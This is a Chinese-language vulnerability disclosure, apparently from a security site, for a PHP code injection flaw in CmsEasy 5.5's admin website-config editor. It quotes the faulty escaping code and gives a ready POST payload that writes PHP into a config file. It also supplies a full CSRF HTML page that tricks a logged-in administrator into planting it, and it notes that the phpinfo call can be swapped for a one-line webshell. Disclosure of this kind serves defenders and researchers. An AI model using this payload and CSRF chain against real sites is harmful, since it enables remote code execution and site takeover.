### 简要描述：
cmseasy 管理员身份 后台缓存配置文件，没有过滤一个字符导致getshell(2)
### 详细说明：
直接到:
[<img src="https://images.seebug.org/upload/201409/1015371863c172f309cfab357de41a81ee417eca.png" alt="28.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/1015371863c172f309cfab357de41a81ee417eca.png)
然后我们分析代码：
website_admin.php:(lines:25-43):
```
function editwebsite_action() {
chkpw('website_edit');
if (front::post('submit')) {
$var = front::$post;
$path = ROOT.'/config/website/'.front::$post['path'].'.php';
$contenttmp = file_get_contents(ROOT.'/config/config.example.php');
if (is_array($var))
foreach ($var as $key=>$value) {
$value=str_replace("'","\'",$value);
$contenttmp=preg_replace("%(\'$key\'=>)\'.*?\'(,\s*//)%i","$1'$value'$2",$contenttmp);
}
@file_put_contents($path,$contenttmp);
//echo '<script type="text/javascript">alert("操作完成！")</script>';
front::refresh(url('website/listwebsite',true));
}
$path = ROOT.'/config/website/'.front::$get['id'].'.php';
$datatmp = include $path;
$this->view->data = $datatmp;
}
```
我们找到这两句：
```
$value=str_replace("'","\'",$value);
$contenttmp=preg_replace("%(\'$key\'=>)\'.*?\'(,\s*//)%i","$1'$value'$2",$contenttmp);
```
跟我上一个属于同一个毛病，转来转去的最终还是把\' 转化成为\\'
我们访问url:
url：http://192.168.10.70/CmsEasy_5.5_UTF-8_20140818/uploads/index.php?case=website&act=editwebsite&table=&admin_dir=admin&site=default
postdata:
name=%E5%85%AC%E5%8F%B8%E7%BD%91%E7%AB\'%2bphpinfo(),//&path=test&site_url=http%3A%2F%2Fwww.cmseasy.cn%2F&site_username=admin&site_password=admin&site_admindir=admin&submit=%E6%8F%90%E4%BA%A4
然后这个文件就会在config\website生成一个test.php，我们访问一下看看:
[<img src="https://images.seebug.org/upload/201409/1016081173a85aa1557bf9cb97be12c365d1e9d6.png" alt="29.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/1016081173a85aa1557bf9cb97be12c365d1e9d6.png)
下来我们构造csrf文件:
```
<html>
<body>
<script>
function csrf_sql(){
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.10.70/CmsEasy_5.5_UTF-8_20140818/uploads/index.php?case=website&act=editwebsite&table=&admin_dir=admin&site=default", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.withCredentials = "true";
var body='name=%E5%85%AC%E5%8F%B8%E7%BD%91%E7%AB\'%2bphpinfo(),//&path=test&site_url=http%3A%2F%2Fwww.cmseasy.cn%2F&site_username=admin&site_password=admin&site_admindir=admin&submit=%E6%8F%90%E4%BA%A4';
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
csrf_sql();
</script>
</body>
</html>
```
我们放到另一台机器上去，然后发给管理员，管理员触发之后，看看这里是否生成了我们想要的shell:
[<img src="https://images.seebug.org/upload/201409/10161009f3c96b8652eb6a0ad6c95384e5d2e9bb.png" alt="30.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/10161009f3c96b8652eb6a0ad6c95384e5d2e9bb.png)
这个我们一看就不用担心，因为这是个配置文件，站点肯定会全局include的，当它include的时候这个phpinfo就会执行了，我们在此访问一下站点：
[<img src="https://images.seebug.org/upload/201409/101616379b6463662511dbd2a32fee82c3789849.png" alt="31.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/101616379b6463662511dbd2a32fee82c3789849.png)
[<img src="https://images.seebug.org/upload/201409/1016164631f58cee4535cf022064bbaea44d2606.png" alt="32.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/1016164631f58cee4535cf022064bbaea44d2606.png)
ok演示完毕，这里我们可以替换phpinfo 自己生成一个一句话木马即可
### 漏洞证明：
京公网安备 11010502034610号
暂无评论